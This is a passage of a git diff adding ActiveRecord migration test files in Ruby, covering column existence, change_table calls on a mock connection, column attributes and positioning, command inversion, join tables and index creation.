+        refute connection.column_exists?(:testings, :bar, :integer)
+      end
+
+      def test_column_exists_with_definition
+        connection.create_table :testings do |t|
+          t.column :foo, :string, limit: 100
+          t.column :bar, :decimal, precision: 8, scale: 2
+          t.column :taggable_id, :integer, null: false 
+          t.column :taggable_type, :string, default: 'Photo'
+        end
+
+        assert connection.column_exists?(:testings, :foo, :string, limit: 100)
+        refute connection.column_exists?(:testings, :foo, :string, limit: nil)
+        assert connection.column_exists?(:testings, :bar, :decimal, precision: 8, scale: 2)
+        refute connection.column_exists?(:testings, :bar, :decimal, precision: nil, scale: nil)
+        assert connection.column_exists?(:testings, :taggable_id, :integer, null: false)
+        refute connection.column_exists?(:testings, :taggable_id, :integer, null: true)
+        assert connection.column_exists?(:testings, :taggable_type, :string, default: 'Photo')
+        refute connection.column_exists?(:testings, :taggable_type, :string, default: nil)
+      end
+
+      def test_column_exists_on_table_with_no_options_parameter_supplied
+        connection.create_table :testings do |t|
+          t.string :foo
+        end
+        connection.change_table :testings do |t|
+          assert t.column_exists?(:foo)
+          assert !(t.column_exists?(:bar))
+        end
+      end
+
+      private
+      def testing_table_with_only_foo_attribute
+        connection.create_table :testings, :id => false do |t|
+          t.column :foo, :string
+        end
+
+        yield
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/change_table_test.rb b/activerecord/test/cases/migration/change_table_test.rb
new file mode 100644
index 0000000000..4614be9650
--- /dev/null
+++ b/activerecord/test/cases/migration/change_table_test.rb
@@ -0,0 +1,217 @@
+require "cases/migration/helper"
+
+module ActiveRecord
+  class Migration
+    class TableTest < ActiveRecord::TestCase
+      class MockConnection < MiniTest::Mock
+        def native_database_types
+          {
+            :string  => 'varchar(255)',
+            :integer => 'integer',
+          }
+        end
+
+        def type_to_sql(type, limit, precision, scale)
+          native_database_types[type]
+        end
+      end
+
+      def setup
+        @connection = MockConnection.new
+      end
+
+      def teardown
+        assert @connection.verify
+      end
+
+      def with_change_table
+        yield ConnectionAdapters::Table.new(:delete_me, @connection)
+      end
+
+      def test_references_column_type_adds_id
+        with_change_table do |t|
+          @connection.expect :add_reference, nil, [:delete_me, :customer, {}]
+          t.references :customer
+        end
+      end
+
+      def test_remove_references_column_type_removes_id
+        with_change_table do |t|
+          @connection.expect :remove_reference, nil, [:delete_me, :customer, {}]
+          t.remove_references :customer
+        end
+      end
+
+      def test_add_belongs_to_works_like_add_references
+        with_change_table do |t|
+          @connection.expect :add_reference, nil, [:delete_me, :customer, {}]
+          t.belongs_to :customer
+        end
+      end
+
+      def test_remove_belongs_to_works_like_remove_references
+        with_change_table do |t|
+          @connection.expect :remove_reference, nil, [:delete_me, :customer, {}]
+          t.remove_belongs_to :customer
+        end
+      end
+
+      def test_references_column_type_with_polymorphic_adds_type
+        with_change_table do |t|
+          @connection.expect :add_reference, nil, [:delete_me, :taggable, polymorphic: true]
+          t.references :taggable, polymorphic: true
+        end
+      end
+
+      def test_remove_references_column_type_with_polymorphic_removes_type
+        with_change_table do |t|
+          @connection.expect :remove_reference, nil, [:delete_me, :taggable, polymorphic: true]
+          t.remove_references :taggable, polymorphic: true
+        end
+      end
+
+      def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
+        with_change_table do |t|
+          @connection.expect :add_reference, nil, [:delete_me, :taggable, polymorphic: true, null: false]
+          t.references :taggable, polymorphic: true, null: false
+        end
+      end
+
+      def test_remove_references_column_type_with_polymorphic_and_options_null_is_false_removes_table_flag
+        with_change_table do |t|
+          @connection.expect :remove_reference, nil, [:delete_me, :taggable, polymorphic: true, null: false]
+          t.remove_references :taggable, polymorphic: true, null: false
+        end
+      end
+
+      def test_timestamps_creates_updated_at_and_created_at
+        with_change_table do |t|
+          @connection.expect :add_timestamps, nil, [:delete_me]
+          t.timestamps
+        end
+      end
+
+      def test_remove_timestamps_creates_updated_at_and_created_at
+        with_change_table do |t|
+          @connection.expect :remove_timestamps, nil, [:delete_me]
+          t.remove_timestamps
+        end
+      end
+
+      def string_column
+        @connection.native_database_types[:string]
+      end
+
+      def integer_column
+        @connection.native_database_types[:integer]
+      end
+
+      def test_integer_creates_integer_column
+        with_change_table do |t|
+          @connection.expect :add_column, nil, [:delete_me, :foo, integer_column, {}]
+          @connection.expect :add_column, nil, [:delete_me, :bar, integer_column, {}]
+          t.integer :foo, :bar
+        end
+      end
+
+      def test_string_creates_string_column
+        with_change_table do |t|
+          @connection.expect :add_column, nil, [:delete_me, :foo, string_column, {}]
+          @connection.expect :add_column, nil, [:delete_me, :bar, string_column, {}]
+          t.string :foo, :bar
+        end
+      end
+
+      def test_column_creates_column
+        with_change_table do |t|
+          @connection.expect :add_column, nil, [:delete_me, :bar, :integer, {}]
+          t.column :bar, :integer
+        end
+      end
+
+      def test_column_creates_column_with_options
+        with_change_table do |t|
+          @connection.expect :add_column, nil, [:delete_me, :bar, :integer, {:null => false}]
+          t.column :bar, :integer, :null => false
+        end
+      end
+
+      def test_index_creates_index
+        with_change_table do |t|
+          @connection.expect :add_index, nil, [:delete_me, :bar, {}]
+          t.index :bar
+        end
+      end
+
+      def test_index_creates_index_with_options
+        with_change_table do |t|
+          @connection.expect :add_index, nil, [:delete_me, :bar, {:unique => true}]
+          t.index :bar, :unique => true
+        end
+      end
+
+      def test_index_exists
+        with_change_table do |t|
+          @connection.expect :index_exists?, nil, [:delete_me, :bar, {}]
+          t.index_exists?(:bar)
+        end
+      end
+
+      def test_index_exists_with_options
+        with_change_table do |t|
+          @connection.expect :index_exists?, nil, [:delete_me, :bar, {:unique => true}]
+          t.index_exists?(:bar, :unique => true)
+        end
+      end
+
+      def test_change_changes_column
+        with_change_table do |t|
+          @connection.expect :change_column, nil, [:delete_me, :bar, :string, {}]
+          t.change :bar, :string
+        end
+      end
+
+      def test_change_changes_column_with_options
+        with_change_table do |t|
+          @connection.expect :change_column, nil, [:delete_me, :bar, :string, {:null => true}]
+          t.change :bar, :string, :null => true
+        end
+      end
+
+      def test_change_default_changes_column
+        with_change_table do |t|
+          @connection.expect :change_column_default, nil, [:delete_me, :bar, :string]
+          t.change_default :bar, :string
+        end
+      end
+
+      def test_remove_drops_single_column
+        with_change_table do |t|
+          @connection.expect :remove_column, nil, [:delete_me, :bar]
+          t.remove :bar
+        end
+      end
+
+      def test_remove_drops_multiple_columns
+        with_change_table do |t|
+          @connection.expect :remove_column, nil, [:delete_me, :bar, :baz]
+          t.remove :bar, :baz
+        end
+      end
+
+      def test_remove_index_removes_index_with_options
+        with_change_table do |t|
+          @connection.expect :remove_index, nil, [:delete_me, {:unique => true}]
+          t.remove_index :unique => true
+        end
+      end
+
+      def test_rename_renames_column
+        with_change_table do |t|
+          @connection.expect :rename_column, nil, [:delete_me, :bar, :baz]
+          t.rename :bar, :baz
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/column_attributes_test.rb b/activerecord/test/cases/migration/column_attributes_test.rb
new file mode 100644
index 0000000000..b88db384a0
--- /dev/null
+++ b/activerecord/test/cases/migration/column_attributes_test.rb
@@ -0,0 +1,206 @@
+require "cases/migration/helper"
+
+module ActiveRecord
+  class Migration
+    class ColumnAttributesTest < ActiveRecord::TestCase
+      include ActiveRecord::Migration::TestHelper
+
+      self.use_transactional_fixtures = false
+
+      def test_add_column_newline_default
+        string = "foo\nbar"
+        add_column 'test_models', 'command', :string, :default => string
+        TestModel.reset_column_information
+
+        assert_equal string, TestModel.new.command
+      end
+
+      def test_add_remove_single_field_using_string_arguments
+        refute TestModel.column_methods_hash.key?(:last_name)
+
+        add_column 'test_models', 'last_name', :string
+
+        TestModel.reset_column_information
+
+        assert TestModel.column_methods_hash.key?(:last_name)
+
+        remove_column 'test_models', 'last_name'
+
+        TestModel.reset_column_information
+        refute TestModel.column_methods_hash.key?(:last_name)
+      end
+
+      def test_add_remove_single_field_using_symbol_arguments
+        refute TestModel.column_methods_hash.key?(:last_name)
+
+        add_column :test_models, :last_name, :string
+
+        TestModel.reset_column_information
+        assert TestModel.column_methods_hash.key?(:last_name)
+
+        remove_column :test_models, :last_name
+
+        TestModel.reset_column_information
+        refute TestModel.column_methods_hash.key?(:last_name)
+      end
+
+      def test_unabstracted_database_dependent_types
+        skip "not supported" unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+
+        add_column :test_models, :intelligence_quotient, :tinyint
+        TestModel.reset_column_information
+        assert_match(/tinyint/, TestModel.columns_hash['intelligence_quotient'].sql_type)
+      end
+
+      # We specifically do a manual INSERT here, and then test only the SELECT
+      # functionality. This allows us to more easily catch INSERT being broken,
+      # but SELECT actually working fine.
+      def test_native_decimal_insert_manual_vs_automatic
+        correct_value = '0012345678901234567890.0123456789'.to_d
+
+        connection.add_column "test_models", "wealth", :decimal, :precision => '30', :scale => '10'
+
+        # Do a manual insertion
+        if current_adapter?(:OracleAdapter)
+          connection.execute "insert into test_models (id, wealth) values (people_seq.nextval, 12345678901234567890.0123456789)"
+        elsif current_adapter?(:OpenBaseAdapter) || (current_adapter?(:MysqlAdapter) && Mysql.client_version < 50003) #before mysql 5.0.3 decimals stored as strings
+          connection.execute "insert into test_models (wealth) values ('12345678901234567890.0123456789')"
+        elsif current_adapter?(:PostgreSQLAdapter)
+          connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
+        else
+          connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
+        end
+
+        # SELECT
+        row = TestModel.first
+        assert_kind_of BigDecimal, row.wealth
+
+        # If this assert fails, that means the SELECT is broken!
+        unless current_adapter?(:SQLite3Adapter)
+          assert_equal correct_value, row.wealth
+        end
+
+        # Reset to old state
+        TestModel.delete_all
+
+        # Now use the Rails insertion
+        TestModel.create :wealth => BigDecimal.new("12345678901234567890.0123456789")
+
+        # SELECT
+        row = TestModel.first
+        assert_kind_of BigDecimal, row.wealth
+
+        # If these asserts fail, that means the INSERT (create function, or cast to SQL) is broken!
+        unless current_adapter?(:SQLite3Adapter)
+          assert_equal correct_value, row.wealth
+        end
+      end
+
+      def test_add_column_with_precision_and_scale
+        connection.add_column 'test_models', 'wealth', :decimal, :precision => 9, :scale => 7
+
+        wealth_column = TestModel.columns_hash['wealth']
+        assert_equal 9, wealth_column.precision
+        assert_equal 7, wealth_column.scale
+      end
+
+      def test_change_column_preserve_other_column_precision_and_scale
+        skip "only on sqlite3" unless current_adapter?(:SQLite3Adapter)
+
+        connection.add_column 'test_models', 'last_name', :string
+        connection.add_column 'test_models', 'wealth', :decimal, :precision => 9, :scale => 7
+
+        wealth_column = TestModel.columns_hash['wealth']
+        assert_equal 9, wealth_column.precision
+        assert_equal 7, wealth_column.scale
+
+        connection.change_column 'test_models', 'last_name', :string, :null => false
+        TestModel.reset_column_information
+
+        wealth_column = TestModel.columns_hash['wealth']
+        assert_equal 9, wealth_column.precision
+        assert_equal 7, wealth_column.scale
+      end
+
+      def test_native_types
+        add_column "test_models", "first_name", :string
+        add_column "test_models", "last_name", :string
+        add_column "test_models", "bio", :text
+        add_column "test_models", "age", :integer
+        add_column "test_models", "height", :float
+        add_column "test_models", "wealth", :decimal, :precision => '30', :scale => '10'
+        add_column "test_models", "birthday", :datetime
+        add_column "test_models", "favorite_day", :date
+        add_column "test_models", "moment_of_truth", :datetime
+        add_column "test_models", "male", :boolean
+
+        TestModel.create :first_name => 'bob', :last_name => 'bobsen',
+          :bio => "I was born ....", :age => 18, :height => 1.78,
+          :wealth => BigDecimal.new("12345678901234567890.0123456789"),
+          :birthday => 18.years.ago, :favorite_day => 10.days.ago,
+          :moment_of_truth => "1782-10-10 21:40:18", :male => true
+
+        bob = TestModel.first
+        assert_equal 'bob', bob.first_name
+        assert_equal 'bobsen', bob.last_name
+        assert_equal "I was born ....", bob.bio
+        assert_equal 18, bob.age
+
+        # Test for 30 significant digits (beyond the 16 of float), 10 of them
+        # after the decimal place.
+
+        unless current_adapter?(:SQLite3Adapter)
+          assert_equal BigDecimal.new("0012345678901234567890.0123456789"), bob.wealth
+        end
+
+        assert_equal true, bob.male?
+
+        assert_equal String, bob.first_name.class
+        assert_equal String, bob.last_name.class
+        assert_equal String, bob.bio.class
+        assert_equal Fixnum, bob.age.class
+        assert_equal Time, bob.birthday.class
+
+        if current_adapter?(:OracleAdapter, :SybaseAdapter)
+          # Sybase, and Oracle don't differentiate between date/time
+          assert_equal Time, bob.favorite_day.class
+        else
+          assert_equal Date, bob.favorite_day.class
+        end
+
+        # Oracle adapter stores Time or DateTime with timezone value already in _before_type_cast column
+        # therefore no timezone change is done afterwards when default timezone is changed
+        unless current_adapter?(:OracleAdapter)
+          # Test DateTime column and defaults, including timezone.
+          # FIXME: moment of truth may be Time on 64-bit platforms.
+          if bob.moment_of_truth.is_a?(DateTime)
+
+            with_env_tz 'US/Eastern' do
+              bob.reload
+              assert_equal DateTime.local_offset, bob.moment_of_truth.offset
+              assert_not_equal 0, bob.moment_of_truth.offset
+              assert_not_equal "Z", bob.moment_of_truth.zone
+              # US/Eastern is -5 hours from GMT
+              assert_equal Rational(-5, 24), bob.moment_of_truth.offset
+              assert_match(/\A-05:00\Z/, bob.moment_of_truth.zone)
+              assert_equal DateTime::ITALY, bob.moment_of_truth.start
+            end
+          end
+        end
+
+        assert_instance_of TrueClass, bob.male?
+        assert_kind_of BigDecimal, bob.wealth
+      end
+
+      def test_out_of_range_limit_should_raise
+        skip("MySQL and PostgreSQL only") unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+
+        assert_raise(ActiveRecordError) { add_column :test_models, :integer_too_big, :integer, :limit => 10 }
+
+        unless current_adapter?(:PostgreSQLAdapter)
+          assert_raise(ActiveRecordError) { add_column :test_models, :text_too_big, :integer, :limit => 0xfffffffff }
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/column_positioning_test.rb b/activerecord/test/cases/migration/column_positioning_test.rb
new file mode 100644
index 0000000000..913d935f7c
--- /dev/null
+++ b/activerecord/test/cases/migration/column_positioning_test.rb
@@ -0,0 +1,60 @@
+require 'cases/helper'
+
+module ActiveRecord
+  class Migration
+    class ColumnPositioningTest < ActiveRecord::TestCase
+      attr_reader :connection, :table_name
+      alias :conn :connection
+
+      def setup
+        super
+
+        unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+          skip "not supported on #{connection.class}"
+        end
+
+        @connection = ActiveRecord::Base.connection
+
+        connection.create_table :testings, :id => false do |t|
+          t.column :first, :integer
+          t.column :second, :integer
+          t.column :third, :integer
+        end
+      end
+
+      def teardown
+        super
+        connection.drop_table :testings rescue nil
+        ActiveRecord::Base.primary_key_prefix_type = nil
+      end
+
+      def test_column_positioning
+        assert_equal %w(first second third), conn.columns(:testings).map {|c| c.name }
+      end
+
+      def test_add_column_with_positioning
+        conn.add_column :testings, :new_col, :integer
+        assert_equal %w(first second third new_col), conn.columns(:testings).map {|c| c.name }
+      end
+
+      def test_add_column_with_positioning_first
+        conn.add_column :testings, :new_col, :integer, :first => true
+        assert_equal %w(new_col first second third), conn.columns(:testings).map {|c| c.name }
+      end
+
+      def test_add_column_with_positioning_after
+        conn.add_column :testings, :new_col, :integer, :after => :first
+        assert_equal %w(first new_col second third), conn.columns(:testings).map {|c| c.name }
+      end
+
+      def test_change_column_with_positioning
+        conn.change_column :testings, :second, :integer, :first => true
+        assert_equal %w(second first third), conn.columns(:testings).map {|c| c.name }
+
+        conn.change_column :testings, :second, :integer, :after => :third
+        assert_equal %w(first third second), conn.columns(:testings).map {|c| c.name }
+      end
+
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/command_recorder_test.rb b/activerecord/test/cases/migration/command_recorder_test.rb
index d108b456f0..f2213ee6aa 100644
--- a/activerecord/test/cases/migration/command_recorder_test.rb
+++ b/activerecord/test/cases/migration/command_recorder_test.rb
@@ -67,6 +67,24 @@ module ActiveRecord
         assert_equal [:drop_table, [:system_settings]], drop_table
       end
 
+      def test_invert_create_table_with_options
+        @recorder.record :create_table, [:people_reminders, {:id => false}]
+        drop_table = @recorder.inverse.first
+        assert_equal [:drop_table, [:people_reminders]], drop_table
+      end
+
+      def test_invert_create_join_table
+        @recorder.record :create_join_table, [:musics, :artists]
+        drop_table = @recorder.inverse.first
+        assert_equal [:drop_table, [:artists_musics]], drop_table
+      end
+
+      def test_invert_create_join_table_with_table_name
+        @recorder.record :create_join_table, [:musics, :artists, {:table_name => :catalog}]
+        drop_table = @recorder.inverse.first
+        assert_equal [:drop_table, [:catalog]], drop_table
+      end
+
       def test_invert_rename_table
         @recorder.record :rename_table, [:old, :new]
         rename = @recorder.inverse.first
@@ -92,9 +110,9 @@ module ActiveRecord
       end
 
       def test_invert_add_index_with_name
-          @recorder.record :add_index, [:table, [:one, :two], {:name => "new_index"}]
-          remove = @recorder.inverse.first
-          assert_equal [:remove_index, [:table, {:name => "new_index"}]], remove
+        @recorder.record :add_index, [:table, [:one, :two], {:name => "new_index"}]
+        remove = @recorder.inverse.first
+        assert_equal [:remove_index, [:table, {:name => "new_index"}]], remove
       end
 
       def test_invert_add_index_with_no_options
@@ -120,6 +138,30 @@ module ActiveRecord
         add = @recorder.inverse.first
         assert_equal [:add_timestamps, [:table]], add
       end
+
+      def test_invert_add_reference
+        @recorder.record :add_reference, [:table, :taggable, { polymorphic: true }]
+        remove = @recorder.inverse.first
+        assert_equal [:remove_reference, [:table, :taggable, { polymorphic: true }]], remove
+      end
+
+      def test_invert_add_belongs_to_alias
+        @recorder.record :add_belongs_to, [:table, :user]
+        remove = @recorder.inverse.first
+        assert_equal [:remove_reference, [:table, :user]], remove
+      end
+
+      def test_invert_remove_reference
+        @recorder.record :remove_reference, [:table, :taggable, { polymorphic: true }]
+        add = @recorder.inverse.first
+        assert_equal [:add_reference, [:table, :taggable, { polymorphic: true }]], add
+      end
+
+      def test_invert_remove_belongs_to_alias
+        @recorder.record :remove_belongs_to, [:table, :user]
+        add = @recorder.inverse.first
+        assert_equal [:add_reference, [:table, :user]], add
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/migration/create_join_table_test.rb b/activerecord/test/cases/migration/create_join_table_test.rb
new file mode 100644
index 0000000000..cd1b0e8b47
--- /dev/null
+++ b/activerecord/test/cases/migration/create_join_table_test.rb
@@ -0,0 +1,77 @@
+require 'cases/helper'
+
+module ActiveRecord
+  class Migration
+    class CreateJoinTableTest < ActiveRecord::TestCase
+      attr_reader :connection
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+      end
+
+      def teardown
+        super
+        %w(artists_musics musics_videos catalog).each do |table_name|
+          connection.drop_table table_name if connection.tables.include?(table_name)
+        end
+      end
+
+      def test_create_join_table
+        connection.create_join_table :artists, :musics
+
+        assert_equal %w(artist_id music_id), connection.columns(:artists_musics).map(&:name).sort
+      end
+
+      def test_create_join_table_set_not_null_by_default
+        connection.create_join_table :artists, :musics
+
+        assert_equal [false, false], connection.columns(:artists_musics).map(&:null)
+      end
+
+      def test_create_join_table_with_strings
+        connection.create_join_table 'artists', 'musics'
+
+        assert_equal %w(artist_id music_id), connection.columns(:artists_musics).map(&:name).sort
+      end
+
+      def test_create_join_table_with_the_proper_order
+        connection.create_join_table :videos, :musics
+
+        assert_equal %w(music_id video_id), connection.columns(:musics_videos).map(&:name).sort
+      end
+
+      def test_create_join_table_with_the_table_name
+        connection.create_join_table :artists, :musics, table_name: :catalog
+
+        assert_equal %w(artist_id music_id), connection.columns(:catalog).map(&:name).sort
+      end
+
+      def test_create_join_table_with_the_table_name_as_string
+        connection.create_join_table :artists, :musics, table_name: 'catalog'
+
+        assert_equal %w(artist_id music_id), connection.columns(:catalog).map(&:name).sort
+      end
+
+      def test_create_join_table_with_column_options
+        connection.create_join_table :artists, :musics, column_options: {null: true}
+
+        assert_equal [true, true], connection.columns(:artists_musics).map(&:null)
+      end
+
+      def test_create_join_table_without_indexes
+        connection.create_join_table :artists, :musics
+
+        assert connection.indexes(:artists_musics).blank?
+      end
+
+      def test_create_join_table_with_index
+        connection.create_join_table :artists, :musics do |t|
+          t.index [:artist_id, :music_id]
+        end
+
+        assert_equal [%w(artist_id music_id)], connection.indexes(:artists_musics).map(&:columns)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/helper.rb b/activerecord/test/cases/migration/helper.rb
new file mode 100644
index 0000000000..768ebc5861
--- /dev/null
+++ b/activerecord/test/cases/migration/helper.rb
@@ -0,0 +1,45 @@
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class << self
+      attr_accessor :message_count
+    end
+
+    def puts(text="")
+      ActiveRecord::Migration.message_count ||= 0
+      ActiveRecord::Migration.message_count += 1
+    end
+
+    module TestHelper
+      attr_reader :connection, :table_name
+
+      CONNECTION_METHODS = %w[add_column remove_column rename_column add_index change_column rename_table column_exists? index_exists? add_reference add_belongs_to remove_reference remove_references remove_belongs_to]
+
+      class TestModel < ActiveRecord::Base
+        self.table_name = :test_models
+      end
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+        connection.create_table :test_models do |t|
+          t.timestamps
+        end
+
+        TestModel.reset_column_information
+      end
+
+      def teardown
+        super
+        TestModel.reset_table_name
+        TestModel.reset_sequence_name
+        connection.drop_table :test_models rescue nil
+      end
+
+      private
+
+      delegate(*CONNECTION_METHODS, to: :connection)
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/index_test.rb b/activerecord/test/cases/migration/index_test.rb
new file mode 100644
index 0000000000..dd9492924c
--- /dev/null
+++ b/activerecord/test/cases/migration/index_test.rb
@@ -0,0 +1,185 @@
+require 'cases/helper'
+
+module ActiveRecord
+  class Migration
+    class IndexTest < ActiveRecord::TestCase
+      attr_reader :connection, :table_name
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+        @table_name = :testings
+
+        connection.create_table table_name do |t|
+          t.column :foo, :string, :limit => 100
+          t.column :bar, :string, :limit => 100
+
+          t.string :first_name
+          t.string :last_name, :limit => 100
+          t.string :key,       :limit => 100
+          t.boolean :administrator
+        end
+      end
+
+      def teardown
+        super
+        connection.drop_table :testings rescue nil
+        ActiveRecord::Base.primary_key_prefix_type = nil
+      end
+
+      def test_rename_index
+        skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
+
+        # keep the names short to make Oracle and similar behave
+        connection.add_index(table_name, [:foo], :name => 'old_idx')
+        connection.rename_index(table_name, 'old_idx', 'new_idx')
+
+        # if the adapter doesn't support the indexes call, pick defaults that let the test pass
+        refute connection.index_name_exists?(table_name, 'old_idx', false)
+        assert connection.index_name_exists?(table_name, 'new_idx', true)
+      end
+
+      def test_double_add_index
+        skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
+
+        connection.add_index(table_name, [:foo], :name => 'some_idx')
+        assert_raises(ArgumentError) {
+          connection.add_index(table_name, [:foo], :name => 'some_idx')
+        }
+      end
+
+      def test_remove_nonexistent_index
+        skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
+
+        # we do this by name, so OpenBase is a wash as noted above
+        assert_raise(ArgumentError) { connection.remove_index(table_name, "no_such_index") }
+      end
+
+      def test_add_index_name_length_limit
+        good_index_name = 'x' * connection.index_name_length
+        too_long_index_name = good_index_name + 'x'
+
+        assert_raises(ArgumentError) {
+          connection.add_index(table_name, "foo", :name => too_long_index_name)
+        }
+
+        refute connection.index_name_exists?(table_name, too_long_index_name, false)
+        connection.add_index(table_name, "foo", :name => good_index_name)
+
+        assert connection.index_name_exists?(table_name, good_index_name, false)
+        connection.remove_index(table_name, :name => good_index_name)
+      end
+
+      def test_index_symbol_names
+        connection.add_index table_name, :foo, :name => :symbol_index_name
+        assert connection.index_exists?(table_name, :foo, :name => :symbol_index_name)
+
+        connection.remove_index table_name, :name => :symbol_index_name
+        refute connection.index_exists?(table_name, :foo, :name => :symbol_index_name)
+      end
+
+      def test_index_exists
+        connection.add_index :testings, :foo
+
+        assert connection.index_exists?(:testings, :foo)
+        assert !connection.index_exists?(:testings, :bar)
+      end
+
+      def test_index_exists_on_multiple_columns
+        connection.add_index :testings, [:foo, :bar]
+
+        assert connection.index_exists?(:testings, [:foo, :bar])
+      end
+
+      def test_unique_index_exists
+        connection.add_index :testings, :foo, :unique => true
+
+        assert connection.index_exists?(:testings, :foo, :unique => true)
+      end
+
+      def test_named_index_exists
+        connection.add_index :testings, :foo, :name => "custom_index_name"
+
+        assert connection.index_exists?(:testings, :foo, :name => "custom_index_name")
+      end
+
+      def test_add_index_attribute_length_limit
+        connection.add_index :testings, [:foo, :bar], :length => {:foo => 10, :bar => nil}
+
+        assert connection.index_exists?(:testings, [:foo, :bar])
+      end
+
+      def test_add_index
+        connection.add_index("testings", "last_name")
+        connection.remove_index("testings", "last_name")
+
+        # Orcl nds shrt indx nms.  Sybs 2.
+        # OpenBase does not have named indexes.  You must specify a single column name
+        unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
+          connection.add_index("testings", ["last_name", "first_name"])
+          connection.remove_index("testings", :column => ["last_name", "first_name"])
+
+          # Oracle adapter cannot have specified index name larger than 30 characters
+          # Oracle adapter is shortening index name when just column list is given
+          unless current_adapter?(:OracleAdapter)
+            connection.add_index("testings", ["last_name", "first_name"])
+            connection.remove_index("testings", :name => :index_testings_on_last_name_and_first_name)
+            connection.add_index("testings", ["last_name", "first_name"])
+            connection.remove_index("testings", "last_name_and_first_name")
+          end
+          connection.add_index("testings", ["last_name", "first_name"])
+          connection.remove_index("testings", ["last_name", "first_name"])
+
+          connection.add_index("testings", ["last_name"], :length => 10)
+          connection.remove_index("testings", "last_name")
+
+          connection.add_index("testings", ["last_name"], :length => {:last_name => 10})
+          connection.remove_index("testings", ["last_name"])
+
+          connection.add_index("testings", ["last_name", "first_name"], :length => 10)
+          connection.remove_index("testings", ["last_name", "first_name"])
+
+          connection.add_index("testings", ["last_name", "first_name"], :length => {:last_name => 10, :first_name => 20})
+          connection.remove_index("testings", ["last_name", "first_name"])
+        end
+
+        # quoting
+        # Note: changed index name from "key" to "key_idx" since "key" is a Firebird reserved word
+        # OpenBase does not have named indexes.  You must specify a single column name
+        unless current_adapter?(:OpenBaseAdapter)
+          connection.add_index("testings", ["key"], :name => "key_idx", :unique => true)
+          connection.remove_index("testings", :name => "key_idx", :unique => true)
+        end
+
+        # Sybase adapter does not support indexes on :boolean columns
+        # OpenBase does not have named indexes.  You must specify a single column
+        unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
+          connection.add_index("testings", %w(last_name first_name administrator), :name => "named_admin")
+          connection.remove_index("testings", :name => "named_admin")
+        end
+
+        # Selected adapters support index sort order
+        if current_adapter?(:SQLite3Adapter, :MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+          connection.add_index("testings", ["last_name"], :order => {:last_name => :desc})
+          connection.remove_index("testings", ["last_name"])
+          connection.add_index("testings", ["last_name", "first_name"], :order => {:last_name => :desc})
+          connection.remove_index("testings", ["last_name", "first_name"])
+          connection.add_index("testings", ["last_name", "first_name"], :order => {:last_name => :desc, :first_name => :asc})
+          connection.remove_index("testings", ["last_name", "first_name"])
+          connection.add_index("testings", ["last_name", "first_name"], :order => :desc)
+          connection.remove_index("testings", ["last_name", "first_name"])
+        end
+      end
+
+      def test_add_partial_index
+        skip 'only on pg' unless current_adapter?(:PostgreSQLAdapter)
+
+        connection.add_index("testings", "last_name", :where => "first_name = 'john doe'")
+        assert connection.index_exists?("testings", "last_name")
+
+        connection.remove_index("testings", "last_name")
+        assert !connection.index_exists?("testings", "last_name")
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/logger_test.rb b/activerecord/test/cases/migration/logger_test.rb
new file mode 100644
index 0000000000..ee0c20747e
--- /dev/null
+++ b/activerecord/test/cases/migration/logger_test.rb
@@ -0,0 +1,37 @@
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class LoggerTest < ActiveRecord::TestCase
+      # mysql can't roll back ddl changes
+      self.use_transactional_fixtures = false
+
+      Migration = Struct.new(:name, :version) do
+        def migrate direction
+          # do nothing
+        end
+      end
+
+      def setup
+        super
+        ActiveRecord::SchemaMigration.create_table
+        ActiveRecord::SchemaMigration.delete_all
+      end
+
+      def teardown
+        super
+        ActiveRecord::SchemaMigration.drop_table
+      end
+
+      def test_migration_should_be_run_without_logger
+        previous_logger = ActiveRecord::Base.logger
+        ActiveRecord::Base.logger = nil
+        migrations = [Migration.new('a', 1), Migration.new('b', 2), Migration.new('c', 3)]
+        ActiveRecord::Migrator.new(:up, migrations).migrate
+      ensure
+        ActiveRecord::Base.logger = previous_logger
+      end
+    end
+  end
+end
+
diff --git a/activerecord/test/cases/migration/references_index_test.rb b/activerecord/test/cases/migration/references_index_test.rb
new file mode 100644
index 0000000000..264a99f9ce
--- /dev/null
+++ b/activerecord/test/cases/migration/references_index_test.rb
@@ -0,0 +1,102 @@
+require 'cases/helper'
+
+module ActiveRecord
+  class Migration
+    class ReferencesIndexTest < ActiveRecord::TestCase
+      attr_reader :connection, :table_name
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+        @table_name = :testings
+      end
+
+      def teardown
+        super
+        connection.drop_table :testings rescue nil
+      end
+
+      def test_creates_index
+        connection.create_table table_name do |t|
+          t.references :foo, :index => true
+        end
+
+        assert connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+      end
+
+      def test_does_not_create_index
+        connection.create_table table_name do |t|
+          t.references :foo
+        end
+
+        refute connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+      end
+
+      def test_does_not_create_index_explicit
+        connection.create_table table_name do |t|
+          t.references :foo, :index => false
+        end
+
+        refute connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+      end
+
+      def test_creates_index_with_options
+        connection.create_table table_name do |t|
+          t.references :foo, :index => {:name => :index_testings_on_yo_momma}
